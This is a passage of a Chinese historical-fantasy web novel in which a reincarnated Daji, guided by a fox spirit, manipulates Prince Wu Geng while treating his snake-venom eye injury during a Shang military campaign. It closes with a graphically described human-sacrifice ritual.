玄鸟玉器何等珍贵,帝辛又只有禄子一个儿子——
这竟是她好大儿的帐篷?!
妲己眉心微皱,沉吟思忖。
武庚其人,妲己印象淡薄,因为此前多番轮回中遇见,他总是跪地在她面前,将后脑勺供她观摩。
偶尔,好好一个大儿还会分裂成两小儿:唤为殷郊与殷洪。
狐狸立刻引诱:“武庚乃王室血脉,正是五人之一。”
她将玉鸟随意丢下,冷冷说道:“若果真俊美,引来也无妨,但若丑怪,莫怪我继续挺尸。”
狐狸闻言,一时记不得武庚长相细节,不免焦虑。
——好大儿,你的小妈续命迫在眉睫,你可务必要长得争气些!
忽地,外面喧闹起来,且闹声愈大,只听一人声如雷动在吼:
“王子为何不罚此女俘?!”
只一句,妲己便听出,声音的主人是商末知名刺头——崇应彪。
这货人如其名,颇为彪悍,从来看她不惯。
说来也怪,他明明也知美丑,见了自己,从来都眼神闪烁、脸上发红。可他脸越红,反而愈气如牛蛙,常叫妲己误会自己与他有血海深仇。
又有一醇厚声音,低沉威严,不徐不疾回他:“妲己乃贡女。虽叛逃,却当带回,请王父定夺。”
——哦?妲己竖起耳朵:
她那便宜儿子竟一直在帐外。
步履纷杂间,周伯邑等人追了来:“彪,如何处置,王子已有安排!你这是做何?”
崇应彪不屑地嗤笑:“安排?忒!我看他分明已被迷惑!若天子知晓……”
周伯邑厉声打断:“天子如何行事,无需你多舌!”
崇应彪面容一寒,扑上前就要揍他!
此时恶来也冲上来,死死将其制住,又无奈,“彪,你又犯大浑!”
另一边鄂顺挡住住周伯邑,出于私心,也扭头劝彪:“王子所言,究竟有何不妥?值得你如此乱来。”
武庚蹙眉,眼看四人拉扯,实在不成样子,鼻息一叹,亦不耐烦。
崇应彪越发大怒!
可他不光不敢对抗恶来,也不敢骂鄂顺。
诚然,鄂顺面容并不凶恶,反而极昳丽清俊,常被人戏称为大邑商之花。*4
更不用说他一双狐眼细细,盼顾生柔,外表看来最易招惹。
但谁叫鄂顺之父鄂侯,是三公之首?
谁叫鄂侯握着蓝绿松石运输的命脉,财力雄厚?
鄂侯还深得帝辛信任,令彪彪颇受掣肘……
崇应彪不想惹麻烦,遂向死里捏周伯邑这个软桃:
“邑,你个臭御子*5,就算乃父昌,也不敢同我这般嚣张!你再装狼扮狗,小心我崇国荡平你的巢窠!”
“……”周伯邑目眦欲裂,青筋蹦跳。
周原在西北,为商进贡粮食与羌人。而崇国恰在商、周之间,正方便辖制、监视周原。*6
那崇侯骁勇却阴险,总派出暗史,暗搓搓观察父亲的一言一行。
崇侯是天子的耳目,挑拨是非,不折不扣的小人一个!
“够了!”武庚耐心耗尽,抬眼冷斥:“彪,休再放肆。”
彪黑黝黝的眼珠一转、头一歪,忽地冷笑,怪腔怪调道:“哦~~~王子,我知你心意,我也知了你们心意!你们见那妲己容貌甚嫽,心中不舍!你们个个
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春心荡漾、小头作主大头,倒把我当个憨鹧!”
此言实在粗俗,莫说恶来顿怒、只想将他一把捏死,连武庚波澜不惊的面上也被激起一阵恼怒薄红,当下蹙眉怒斥:“彪!你果真是个憨鹧!”
崇应彪大叫,“昏时*7已到,憨鹧要用妲己告庙、祭祀祖先!”
说着,他竟趁恶来不防,挣开便要冲进帐里!
电光火石,龙鸣高扬!
——武庚的帝江重剑已出鞘,寒光湛水,分毫不让。
他双眸隐火,唇抿盛怒,大约彪再敢上前一步,便要毫不留情割其狗头。
崇应彪见王子拔剑,后退两步,先是震惊,随后竟十分受伤:
“禄,你、你竟拿剑对我?!我们的剑从来只对仇敌,不对亲人,你竟对我?好,好,我们生死相扶,如亲手足,你如今为那女俘,竟对我拔刀相向……”
武庚心有不忍,又实在烦他,“是你乱来,休要胡缠!”
鄂顺与恶来一同拉住这暴躁的野虎,向远处扯:
“天子自会处置她!”
“彪,莫再惹王子生气。”
“妲己!”崇应彪红了眼眶,仰天嚎叫,“你敢出逃!你敢叛天子!你有本事贴紧了禄,否则落在我手里,决不将你轻饶!”又嚎,“禄,你为了一个俘,对兄弟拔剑,你叫我心都裂开!”
“诶,走了!”鄂顺和恶来合力,拖死拽活将他拉走。
武庚也收剑入鞘,面上阴鸷却犹在。
“莫气。”周伯邑无奈安慰他,“彪素来如此。”
“他年纪小,我怎会与他计较……”他拍拍邑的肩头,僵硬语气缓和些许,“我们打了胜仗,带回贡品,王父一定大喜。”
提及帝辛,周伯邑也两眼发光,“当然。天子从来以你为荣!”
武庚这才有了些许笑意。
眼见王子消气,周伯邑却忽地想到今日洞中情形,再想到方才鄂顺言语举动,似乎颇维护妲己,不由又有些忧虑。
武庚正欲与他一同回帐,不免侧目:“为何忧色?”
周伯邑低声道:“唉……彪固然浮躁冲动,但那妲己,也确有蛊惑人心之貌不假。她今日初来,便惹得你与彪起了干戈,若她心术不正,再有心挑拨,只怕一路归去,还要生事。”
武庚眼帘垂下,蹙眉凝重,“既如此,我去告诫她一番。若她敢多事,我绝不姑息!”
帐内,妲己确实正唯恐天下不乱,很盼他们就此打起来。但听得争执似乎已熄,不免失望。
在后人看来,彪敢同王子叫板,实在「别具一格」,但她转生一年有余,已接受了这种行为。
如九尾所言,这里原始,人也简单,彪子更是简单中的翘楚、大肠里的直肠。
更何况,他与王子禄自小一起长大,是亲人、战友、朋友……从前便没少对禄大呼小叫。
正惋惜看不到兄弟相斗的有趣戏码,冷不防厚重的帐帘被掀开,一股寒气涌入
——黑暗夜幕中,武庚高大的身影走进明亮中来。
英武俊朗的大邑太子,摘去饕餮胄,果然是一张全新面容:
高而矫健,肖似其父;浓眉高鼻,又似其母。
明亮眼眸,眸色深邃,喜时而隐怒;
饱满红唇,唇线冷勾,笑时若无情。
他虽仍是青年,举止间却已见得天子之威,喜怒更早已被隐去深处。
其身长九尺,壮若山峦,起伏肌肉间,蓬勃雄性气息散出。*8
诗曰:
昆仑藏玉培其志,千古帝魂聚其身。
妲己怔愣片刻,舔了舔嘴唇,似饿狐开宴。
狐狸见她喜欢,这才大松了口气,嘿嘿怪笑打趣:
“唤一声小妈切莫恼我,只怪叫人心热如火!不由人心热如火!”*9
6. 乱心房兄弟竟阋墙
“你已醒。”武庚站定,俯视下来。
兽皮中,白衣美人直直望来——正是眼波潋滟,幽若深潭,望之极易溺毙。
他眼神微妙一闪,佯装垂眸看向火盆。
心中虽已有准备,到底其色殊艳,再次见到竟仍然无法对视。
其实,商都富足,健壮嫽妇何其多,他也并非贪色之人。
但世间凡事皆有度:
美貌过头,或智谋过深,皆会成妖。凡人如何应对?
如此一想,彪之忧虑似乎也更有道理了三分……
此时,妲己探身,狐狸般可怜巴巴分辩,“你或许不知,我并不是妦,你抓了我也无用。不若放我归去?”
其态无辜,其状无邪,望之楚楚,难以拒绝。
武庚喉中忽地发痒,轻咳一声,声音如常冷淡:
“非也,你仍是首领之女。苏筑已死,首领已由你双亲接替,苏忿生亦已送回。我且念及有苏国民无辜,你又将此事告知顺,为你将前罪一并勾销。可若再有下次……”他语气略重,“有苏国为你陪葬。”
妲己茫然一楞,只觉眼前之人万分不可理喻!
这是人干事?
狐狸反被逗得在识海大笑打滚:“妙哉,所抓之人既非首领之女,就将首领替换,这逻辑满分!”
“今日,你暂歇在此处。”说完,武庚抬手扯了一下衣领,只觉帐中异常燥热,再多呆一息都难以忍耐,转身欲走。
“等等!”
白衣蹁跹,妲己冲上来,急急拉住他臂弯,“方才有人说要杀我,他万一寻来,我岂不是要死!”
武庚视线下移,落在她柔白的手上:
细长的手指宛若玉石雕成一般,手腕还戴着一个树藤做的镯……
他眸中一暗,先抬手,两根手指捏住她手腕,将她雪白的爪子拎开,这才说道:“这里有武士把守,你无需担心。何况我就宿在你营帐对面,也可时时看顾。”又不忘冷下嗓音警告,“旁人进不来,但你也休想逃!”
妲己顿时小脸阴沉!
到底是便宜儿子,虽然模样甚可,却便宜无好货。
眼见她似乎乖乖认命,武庚这才转身出来。
帐外,大雪已停,旷野的冷气灌入肺中,叫他莫名松了口气,头脑也清醒许多。
周伯邑忙迎上来,看了他一眼,先诧异问:“怎了?”
“嗯?何事怎了?”他不解,不忘抬手示意武士守好帐口。
周伯邑盯着他,“你面上怎如此红?”
——即便是浅淡夜色里看来也过于明显。
“唔……”他一顿,手背贴在脸颊,笑笑,“帐中太热,出来倒好些。只是今夜我无处可去,要委屈你同我将就一夜。”
周伯邑迟疑点头,说:“那是自然……”
又忍不住再端详王子一眼,心中隐隐忧虑。
另一厢,武庚前脚才走,后脚狐狸已在报数:“一个时辰。”
妲己正眯眼回味方才肌肉的触感,闻言一愣:“什么?”
“你方才令武庚动情、浑身燥热,为你延寿一个时辰。”
“……???”
妲己差点被晒干沉默。
一来想不到武庚很会假装,二来只贡献了一个时辰,实在是能叫人气哭出来!
“怎这样少?”果然这世上最不值钱的,就是男人的喜爱……
“莫心急,王子毕竟对你有防备,而且你是贡女,他又怎敢过分?”狐狸耸肩,又趁机引诱,“况且,他只是天子之气的五分之一嘛,我倒也不妨告知你,若换成天子的一见倾心,便是整整五日寿命。你若反悔,倒还来得及。”
她就知道狐狸贼心不死,不由俏脸阴沉:“……我不反悔。”
“哦……”狐狸悻悻地阴阳怪气:“那一个时辰就算久,不必有更多期许。臭宝,今日眼看将过,你仅余十四日寿命,要紧要紧。”
妲己登时攥紧了兽皮,似掐住狐狸喉管。
屋内火光闪烁,月儿行至中天。
眼看生命似水流去,妲己却被关在帐里,无计可施,辗转反侧——
此时,她又后悔了答应狐狸的要求。
毕竟思来想去,好像还是挺尸要来得容易些……
正纠结着,帐外忽有人遥遥大声呼喝,声音紧迫。
妲己猛地坐起!
须臾,栅寨嘈杂*1,跑步声急急,有人大喊:“有夷来犯!有夷来犯!”
栅寨之内,一时人人皆醒,披坚执锐,牵马寻火!
武庚与周伯邑急急走出帐中时,巡夜士兵已飞奔将流星旗送来。*2
武庚也顾不得扣上皮甲,任由奴隶服侍,自己则先向哨岗挥旗,令军营列队,又换了方向舞动,命先鸣鼓,遣崇应彪带斥堠探敌。*3
战鼓声振振,待武庚上马时,斥堠的旗手已传信回来,哨岗亦舞旗示意:
敌军两百人有余,但兵器粗劣,骑兵不到一半。
武庚遂调用营中一半人马杀出,其余射手则严阵以待,留守防护。
临行经过妲己帐前,还不忘在为她加守两名护卫!
几乎同时,有苏国亦查得敌情。
原来这支南部夷人,平时一贯在滇国周遭流窜*4,最近不知为何,常晃来有苏抢物杀人,亦是有苏国心头大患!
今日骤然偷袭,无非是暗观质子团与有苏相战数日,双方皆损兵折将,遂趁夜前来,欲获渔翁之利。
有苏首领如今是苏护与嫄己,既为新任首领,又见质子团已迎敌,少不得也抛却前怨,率兵出来相助。
帐外,喊杀声震彻寰宇。
直至东方鱼肚白,方才渐渐休止……
妲己小憩了一阵,发觉周遭安静,忙走至帐门处,微微掀起一隙窥视。
晨光熹微中,帐前雪地泥泞,士卒已陆续归来,看情形负伤并不多,气氛却诡异沉郁……
正不知发生了何事,崇应彪忽地从对面帐中钻出,急急怒吼:“军中巫医实在无用!对了!有苏该有巫医!你去!将人绑来!”*5
随行侍卫苦道:“公子怎忘记?有苏巫医昨日同在宴上为宾,已被公子枭首……”
崇应彪怔住,张口结舌一阵,登时眼圈发红:“那,这、这可如何是好……”
妲己心中一动,忙将一块大兽皮裹在身上,掀帘而出,扬声道:“我略懂医术,是谁负伤?”
~
周伯邑的帐内,因为昨夜容纳了两个男人之故,气味十分感人。
这倒也怪不得他们,行军寒冷,武士哪有洗澡的功夫?十日里九日都脏兮兮、臭烘烘,头发粘成毛毡,是虱子和跳蚤的快乐老家。
周伯邑好赖与王子同住,二人亦有洁身特权,故而此间气味同别的帐子比来,实则还算新鲜。
妲己忍着臭气,一见到受伤之人,便知崇应彪为何急到大叫——
帐子中央,正是武庚半卧着。
双目红肿,表情痛苦,紧咬的牙关时不时溢出难捱的低吟,脖颈条条青筋绷起。
方才妲己说懂医术,恰好被帐内的周伯邑听到,怕崇应彪胡来,忙出来请她,又解释说是夷人带了毒蛇液射毒箭用,被擒时将毒液胡乱抛洒,不慎落在武庚双目中。
虽当时已用水囊冲洗,却还是红肿
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到不能视物。
军中巫医只擅长治疗刀上,从不曾治过蛇毒,束手无策。
妲己忙坐下,捏住武庚手腕,为他诊脉,又轻轻拨开肿胀的眼皮观察,心中已有决断。
狐狸也抻头看了,不屑嗤笑:“不过看着严重罢了,但毒液入眼不多,脉象也平稳,大约明日便会消肿。诶,这也值得大惊小怪?你学的那些三脚猫医术,此刻恰好用上。”
原来,妲己在有苏时也不闲着,趁着同巫医学习文字,顺带偷师不少医术。
哪知妲己转脸看向众人,却花容失色,声音凄惶:
“我看王子伤势极重,若无药来救,恐有性命之危!”
周伯邑等人尚未说话,崇应彪先急了,“锃”地拔出佩刀来,铜光闪闪,大喝:“你才说你懂医术!你若治不好他,我要你陪葬!”
武庚忍痛喝道:“彪!缄口!收刀!”
崇应彪:“可是她——”
“再敢多嘴,去自领十棍!”
崇应彪无奈,只得含泪收刀。
周伯邑急急问妲己:“对不住,是彪不懂事,多有得罪。不知你可有办法疗愈?”
妲己点头:“我当然会尽力救他。只是需立即派人去有苏,在巫医家中药柜里,将七叶一枝花的草、半边莲、蛇藤尽数取来,再取一壶酒,酿的时间越久越好。”
她话音刚落,崇应彪便一阵风般刮了出去。
妲己又柔声嘱咐巫医:“这样擦洗无用,需叫他翻过来,继续用水冲洗。”又指挥周伯邑,“还需一些沸水,一些冰水。”
周伯邑便忙去准备。
不多时,沸水冰水均端来。
妲己扶着武庚伏在床边,用手撩起冰水为他清洗。
周伯邑看她凑得太近,欲言又止。
转眼,冲洗的水也用了三桶,崇应彪亦飞奔回来——
他竟命人将整个药柜都扛回!
“你选!”他手里仍捉着刀,怒目而视,“你若治不好他……”
武庚再度打断他:“彪,你静些!”
崇应彪胸口剧烈起伏,生生忍住。
妲己也不看他,上前挑选了药材,先用烈酒漱了口,随即将花草放入口中咀嚼,又见柜子中还有茇葀及花椒,也拿来送入口中。*6
崇应彪果然忍不住怪叫:“你怎自己吃起来?”
妲己不理,一面嚼着,一面将布条在沸水中煮过捞出,随即将嚼碎的药末涂在布上,命武庚躺下,敷在他眼上,轻轻吹风。
“恶……”崇应彪嘴唇抿成一线,表情格外痛苦。
几乎是药一上眼,武庚就觉得疼痛骤减,因其有蛇药祛毒,有花椒麻痹,又有茇葀清凉舒缓肿胀,于是紧绷的身体渐渐放松……
他虽目不能视,却也知谁在为他吹拂,手指微微攥紧,耳根逐渐发红。
周伯邑见他神色已缓,呼吸也渐渐平稳,忙关切问:“禄,可觉得好些?”
武庚吞咽一下,方才点头。
周伯邑释然:“好极,我看你神色,也似乎缓解……”
崇应彪大声打断他:“呸!我看你很会张眼放屁!你看不到他耳朵如此红?分明是毒已窜去耳朵!”
周伯邑:“……”
妲己:“……”
近侍:“……”
巫医:“……”
武庚拳头握紧,额上青筋跳动,耐着性子道:“彪,你也累了,不若先去歇息。”
“嗯?我不累!我需看着此女,防她不好好医治坑你性命……”
不等彪继续还嘴,武庚已咬牙喝令左右近卫:“鲁番!衡牙!还不拉他去睡!”
7. 精算计牀畔生旖旎
崇应彪被死死向外拉,仍在大声鸣冤:“禄,我未说谎!蛇毒已蔓去耳朵!禄,你为何总不信我,我心又裂开了……”
周伯邑没忍住,无力叹息一声。
武庚正气得几欲呕血,冷不防被一双手捧住脸。
妲己娇媚的声音近在咫尺:“虽已不疼,但不可动怒。怒急攻心,会令蛇毒蔓延。”
他身子一僵,耳朵愈发红地要滴血,含混应一声。
妲己又对周伯邑道:“彪说得对,蛇毒扩散,会令身体发热,他现在耳朵已有发热症状,我抓些药,你命人为他煎服罢。”
说完将蛇藤在酒中捣碎,又混了天南星、当归等药材,命人去熬成汤药。
周伯邑虽然认为王子耳朵发红可能与蛇毒压根毫无关系,仍命贴身仆从拿去煎了,又对妲己道:“今日之事,多谢你。”
妲己眯眼,面上甜笑,心头冷嗤。
空口道谢,果然诚意全无。
她郑重说道:“那……我可否提一条件?”
周伯邑一怔,先看向武庚,“王子……”
武庚音色极冷:“且说来。”
他心中先有猜想,料定她要以此为功,不想朝商。
妲己低头看向自己裙摆,因为之前落入洞中,方才又在雪泥地里走过,已彻底脏污。
她幽幽叹气一声,语气无奈:“我需要衣裳,总不能叫我着里衣、裹兽皮走来走去?我腿上都沾了泥点……”
武庚一怔,虽未看不到她,却又在脑中清晰见到了她此时是何模样。
耳朵立时更红。
狐狸含泪竖起自己一只爪头,对妲己道:“高,实在高。”
它亦以为妲己想离开,谁料她虚晃一枪,调子起得高高,却偏偏是衣服这般无足轻重的小事。
便宜儿子错了预想,定会错愕愧疚,又难免要在脑中具象:
里衣何等旖旎,兽皮又何等野性,如雪小腿上落了泥点,又怎能不叫王子想为她舔去?
偏又看不到,大约已经抓肝挠肺。
它偷看一眼寿命,果然大喜:“两个时辰!”
连周伯邑也面容赤红,忙道:“是我失察,我今日就为你寻衣物。”
军中虽女武士众多,但衣物并不会比男武士好闻到哪去,他需再去一趟有苏。
眼见周伯邑也去了,妲己对巫医道:“王子此时已无事,我先回去。若今日不发烧,眼睛不疼痛,便是熬过了危机。”
巫医哪敢放她?若有闪失,自己定然人头不保,“妲己,你既懂得医术,何妨留下照看?若有事突发,也免奔走费时。”又向武庚请示,“王子,眼伤要紧,不如令她留下为佳。”
妲己差走周伯邑,等的便是此话。
可武庚沉默一阵,开口时却说:“她歇在自己帐中即可,来去不远。”
王子从来说一无二,巫医见状,无法强求,只好先殷切将妲己送回。
~
回到帐中,妲己随手将兽皮丢在地上,慵懒将里衣尽数脱掉,再胡乱挑着武庚堆叠的衣物里干净的将脚擦拭干净,这才裸身卧入兽皮中取暖。
此情此景,倒叫狐狸记起初见她的情形。
那时,它动辄对着妲己的身体啧啧称奇,贴着肉皮一寸寸看,一寸寸嗅,总忍不住叹其肉身美好,不能做刺身吃下,着实可惜;
如今再看到,比看自己的身体还熟悉,早已无动于衷。只余惋惜:
“唉……武庚顾忌你身份,竟不曾应下。”又有些埋怨,“你方才怎不坚持?你若坚持,他兴许会同意?”
妲己勾唇一笑,“我若坚持,他自然会同意。可如此一来,本是他求我之事,不就成了我索取他?”
她之所欲,怎可能只是衣物。
这不过是麻痹对方的起点。
狐狸讶道:“所以,是欲擒故纵?”
她叹气:“蠢,这还用问?我虽然引巫医说出留下之语,但武庚心态防备,我又是叛逃贡女,若真太坚持,他怎能不怀疑我的意图;唯有让他自己开口求我,才会感恩戴德。”她拍拍狐狸狗头,笑道,“莫慌,横竖伤的是他的眼睛,自有他哭的时候。”
“可他确实伤得不重,我怕万一明日自行痊愈……”
“怎会那样快?”妲己神色妩媚狡黠,“我加的蛇藤极少,皆是花椒与茇葀的麻痹清凉,令他舒适。过不了一个时辰,眼睛再度疼痛,他便要悔死。”
狐狸恍然,这才“桀桀”笑了:“好可怜的继子!好狠心的小妈!”
毛团在识海里幸灾乐祸,坐立难安地等着看好戏。妲己却困意袭来,打个呵欠,沉沉睡去。
也不知睡了多久,她梦中正在天宫受封,帐外传来周伯邑声音:“妲己,衣物我已取来。可否入内?”
妲己双眼微饧,顿了顿方沙哑道:“可。”
周伯邑掀帘入内,抬眼时,正见到兽皮中香肩一痕,雪白刺目,凝脂如玉,当即低头,结巴:“抱歉,我、我不知你不曾穿衣……”
“衣物太脏,只好丢掉。”她毫不在意,白嫩指尖随意一点,“放在那处就好。”
周伯邑匆匆放下衣物就欲走。
“且慢。”
他足下顿住,不敢转身:“你还需何物,尽可告知于我。”
妲己走到他身后,语调甜腻得惑人,却实打实将他当仆人驱使,毫不客气:“我还要轻履两双,需是丝布,我的脚穿不得草鞋,会磨破。还要一双蹝履*2,屋内行步方便。哦对了,再要一面铜鉴,方便我梳妆。其余的,我想到了自会告知你。”
周伯邑身子僵直,只顾避嫌,竟未察觉有异,硬声回答:“好,我去为你寻来。”
说完,足下带风,逃也似的离去。
“呵,跑得倒快……”妲己不快地翻个白眼,换上衣衫,将长发从衣中捞出,又问狐狸:“方才你可闻了?他是否是五人之一?”
狐狸摇头:“我细细嗅过,不是。”
她沉吟不语。
狐狸知她痴恋伯邑考八世,聪慧的脑袋一遇到这人就发昏坏死,很不放心:“你又有何坏念头?”
“坏念头?”她嗔瞪它一眼,“我是见他又俊俏三分,逗来解闷。怪哉,他为何总是避我如蛇蝎?”
狐狸趁机嘴贱:“或许你本就是蛇蝎。”
妲己反而莞尔,娇嗔伸手在它额上一戳:“算你有点眼光。”
这时,对面帐中巫医跑来,在她帐前大声道:“妲己!王子他、他——”
妲己变脸一般,腰上素纨一系,面上的狡黠柔媚一收,帘子掀开,装出焦急面容:“王子怎了?”
——王子本已睡着,却又被疼醒,此时正一头是汗,狼狈至极。
狐狸虽被预报了这情节,但见到他肿胀发红的眼皮染了棕、绿色的草汁,仍倍觉好笑,放肆嘲道:
“活脱一只感染了彩蚴吸虫的蜗牛!”
妲己立刻为武庚换了药,将蛇藤和花椒的量加倍,把自己嘴巴也麻得没了知觉。
“还烦请为他吹拂一下。”她麻着嘴对巫医说道。
巫医闻言,不敢不从,忙凑上去对着武庚吹气。
才吹了一下,武庚已立刻别开脸,眉头紧蹙,嫌弃无比:“你吃了什么?怎不漱口?”
巫医哽住。
冤枉,明明大食都不曾用食,也用酒漱过口……
武庚又道:“取扇来。”
冬日行军怎会有扇,一旁的鲁番翻找一阵,将一块硬兽皮递过去,巫医便为他扇着。
疼痛果然越发缓去。
妲己看着他们忙成一团,暗暗
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发笑,又佯装关切问:“可服过药?”
武庚:“服过。”
“可有别处不适?”
“并无。”
妲己伸手探在他额上,笑道:“确实,似乎有效,大约无有危险。”
武庚的嘴微微张开,复又闭住,喉结吞咽口水。
明明目不能视,却诡异知晓那只手是她的……
巫医眼见王子耳朵分明比先前更红,试探道:“王子,依小人见,还是叫妲己留在此处为好。”
武庚沉默许久,这才松了口:“妲己,你可愿白日在此照顾?我……”
想到先前对她的怀疑,他有些愧疚……
妲己反而看向巫医:“也好,巫医一夜未睡,实在辛苦,不若去看其他武士可需要疗伤,或去歇息,夜间再来替我。”
她那语气,纯然是为巫医及众人着想的关切,目标全不在武庚。
巫医被她体恤,登时红了脸,又请示武庚,获许方才退去。
武庚又思及近侍诸人也一夜不得歇息,便允许他们在帐中小憩。
如此这般,妲己连捎带打,众人走的走,睡的睡,帐中寂静。
此时,她袅娜坐在武庚牀边蒲团上,唇边是一抹诡秘浅笑。
清灵的眼珠流连,放肆欣赏着他高尖的鼻、丰满的唇、宽阔的肩,更没错过衣襟内肌肉线条的隐隐幽深。
不错,便宜儿子固然冷傲,却很有本钱,横看竖看,都令她满意。
再说,送到嘴边的食物难免无聊,自己猎来吃的,才有野趣。
狐狸打了个冷战:“你每每奸计得逞,总笑得极渗人。”
妲己佯装踢了它一脚。
牀上,武庚一动不动,呼吸匀长,不知是睡是醒。
她眼珠转转,手缓缓探入衾被缝里,去摸他的手。
谁知才探了一半,武庚已迅速反抓住她,低喝:“你做甚?!”
冰凉的手指落在他滚烫的手心里,清晰得令人战栗。
她探身,在他耳边轻声说道:“我需时时看顾脉象,是为你好。”
武庚知她怕吵醒旁人才如此凑近,但气流拂过毫毛,又令喉咙不自在,浑身发烫。
她叹气,作势抽手:“既然王子不信任我,那我走。”
“诶——”武庚果然更加攥紧,声音软下来,“我……我并非那个意思。只是你该告知一声。”
“我以为你在睡。”
“……”
她手指动动,“你不松开我,我如何把脉?”
他忙松开。
也不知为何,冰凉的指尖摁在手腕上,反而生出灼热来。
武庚轻咳一声,假意与她闲话:“你缘何懂巫医之术?”
妲己倚在牀边*1,依旧气声说道:“我想识字,可叹族中识字又肯教人的唯有巫医。我同他学,少不得也学些医术药方。”
武庚略不自在:“若早知如此,我该叫彪留着那巫医。”
“无妨,他极好色,并非真心教我,也并非真心为人治病,唉……死了很好。”
他听懂了弦外之音,呼吸一窒,又恨不能杀巫医两遍。
妲己把完脉,语气轻盈雀跃:
“竟真的好了许多,实在奇怪。应是王子身体强健之故,换作旁人,绝不会好这样快。”
虽然她语言中并无旖旎,但如此窃窃私语听来,好似情人呢喃,又好似暗藏情愫,无端叫人心中发痒。
武庚呼吸很乱,强自维持冷淡:“……是你医术高明……”
妲己越发得寸进尺:“帐中太冷,我就把手放你衾中捂捂,可好?”
说完,也不管他同意与否,另一只爪子也已探入进来,就在他手畔散发凉气。
武庚顿了良久,方才后知后觉“嗯”一声。
8. 吉凶可测人牲祭天
被褥中,妲己手上的微末凉意,很快如冰般融化在滚滚热潮之中……
良久,妲己不再说话;栅营士兵大多休息,一片寂静,只帐外偶尔「喳喳」鸟鸣。
武庚听得她呼吸渐渐沉而悠长,知道她已睡去。
这时,鲁番掀帘进了帐子,试探唤道:“王子。”
“嘘……”他蹙眉不悦。
鲁番见此情形,脑中一炸,立即低头,哪敢再看。
王子大约并不知道,此时妲己在他枕侧靠着,望之如同床共枕,手又似在被中相握,亲昵如交颈鸳鸯。
鲁番更放轻了声音:“贞人欲为王子伤势占卜,亦需占卜拔营日时,请以夷人为牲。”
“准。”
鲁番忙躬身退了出去。
帐外正融雪,极为寒冷。凛风卷过,空气如冰,哪里有丝毫春日景象。
鲁番呆立片刻,只觉得方才王子与妲己那样十分不妥,又不知该不该将他提醒……
~
是夜,暮时。
武庚同贞人一同准备昏时告庙。
他换上白色祭服,头戴鸟纹頍冠,周身熏香。
此次祭祀有两问——一问王子眼疾是否可愈,二问五日后拔营是否可行。
问天、问先王、问雪神*1。
祭祀所用人牲,便是昨日俘获夷人中的十名壮男,十名壮女。
其余年迈老丑之人,原是不配用来祭祀的,俱被斩杀于营外掩埋。
恶来与鄂顺一日忙碌不见人影,便是为此。他们早已将人牲登记造册,又指挥兵卒用土垒建高台,以备此时。
下午二人歇过后,又率一同去打了野獐,向有苏国要了一匹羊来,作为祭祀所需畜牲。
一应俱全了,兵卒不忘将两名羌人与夷俘捆在一处
——祭祀之事,羌人永不可或缺。即便行军之中,也会捎带几个。
此时篝火闪烁中,诸人到齐。负责占卜的贞人口中念念有词,手中握着一片牛肩胛骨,在刻卜辞。
待卜辞刻好,他就要将牛骨放在火上小心烤灼,等待其裂开形成花纹,用以占卜吉凶。
等候时,鄂顺见周伯邑站得不远,忙慢慢挪过去,小声问道:“邑,我闻彪说,妲己在为王子疗愈眼伤?”
周伯邑看他一眼,语气微妙:“是……”
“可治好了?王子可曾为难她?”
周伯邑越发眼神复杂:“顺,你为何关心她?”
鄂顺细长的狐狸眼不由闪烁,干笑:“我、我何曾关心她,不过白问一句……”
这时,卜辞刻好,武士们弹剑击戈,雄浑歌声盖过了两人谈话,唱曰:
“天命玄鸟,降而生商,宅殷土芒芒。
古帝命武汤、正域彼四方*2……”
歌声雄浑,震起飞鸟无数。
此时妲己已回自己帐中。
对于这样的祭祀来说,她是「外人」,不可参与。
但她生性好热闹,听得动静,便将帐子的窗撩开一隙,不动声色地向外窥视。
她先看到火光旁的高台上,立有两个高细羌人,一男一女*3。
羌人以羊为神物,故而两个羌人都戴着羊角装饰的帽子。
羌人又喜好在脸上涂抹伪装,故而两人眼周都抹着黑色的炭灰。
与其余人牲一样,羌人也表情麻木,眼神呆滞,像是已在火光里接受了自己的悲惨命运……
其实,商人喜用羌人祭祀,但羌人也没少杀商人;双方部族,本就是不共戴天的仇敌。
妲己目力极好,流转之间,正与人牲里的一个女孩遥遥对上。
这女孩不过十五六岁模样,身材丰健高挑,脸上有些新鲜伤痕。大约是夷人首领家的孩子,年纪如此轻,便与家人一同上了战场。
她的脸因恐惧而僵硬,头发上绑着的骨头装饰也因发抖而互相碰撞。
妲己以为她会大哭,会求助,会挣扎。
可女孩只是怔怔与她对视,毫无反应。
仿佛她的灵魂已先一步归于太虚。
此时,牛骨在火上微微裂开裂隙,或横或竖,折叠出不同角度,贞人解读着「兆干」「兆枝」,有了结果。*4
他扬手,周遭俱寂,只闻其占曰:
“亨,利贞,五日。用人牲吉。卯之*5。”
武庚虔诚跪地,仰天敬道:“先祖佑禄。”
言毕,训练有素的战士大步上前,有条不紊,俨然做过了千百遍。
他们三人一组,将每个人牲抓着脚倒拎起,手中巨钺呼啸劈下,将他们从腿间生生斩成两半。
「卯」这一字,自中心一分为二,其含义便是如此。
“别——!!”
妲己惊愕万分,尖声喝止!
——为何要这样做!为何如此残忍?
——不必杀人,武庚的眼疾明日也会痊愈!
但此起彼伏的凄厉尖叫、撕心裂肺的濒死哀嚎,瞬间掩盖住了她的声音!
鲜血雨般淅沥沥落入污雪,肠子蛇样滋溜溜滚落满地。
商人一直坚信,只要人牲哭嚎够凄厉,就会上达天听,取悦天帝、先祖、自然神明。而从下开始劈砍,人便不会立即死去。
妲己眼睁睁看着,武士还特意割下那女孩首级,胹在甗里……*6
人首被供于獐首、羊首之间,与畜牲并无区别。
天空墨黑,雪地银白,又有一层血红笼罩。不知是火焰映亮了血色,还是血光重叠了
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火光。
各种颜色混杂在一处,光怪陆离,犹不算完。
武士们将人从衣服中剥了出来,将其身上的肉片下,挂在干枯的树枝上。不一会儿,便有了一片肉林。
此法又名为「戠」,乃是风干悬挂肉条之意。
又有一队武士捧出十几瓮酒,哗哗洒下,酒在血中汇聚,似红红一片酒池。
酒池肉林,堪比炼狱。
而众人表情平静虔诚,武庚也低声祝祷。
士卒们围着火堆,跳着刚劲战舞,击戈拍盾,以求悦神。
一派光怪陆离,风将血腥之气四下传递。
至此,祭祀才接近尾声。
众人又开始唱歌,行送神之礼。
妲己也未料到自己会目睹此等惨状,回神时,扶在窗边的手早已冻得发疼发僵。
——她与那女孩相距不过百米,而此时,她还站着,那女孩已经变成了肉条悬在树上。
她猛地缩回手,后退两步,帘子落下,被寒风吹得抖动。
狐狸察觉她情绪怪异,慌忙劝道:“你无力阻止。”
「国之大者,在祀与戎」*7
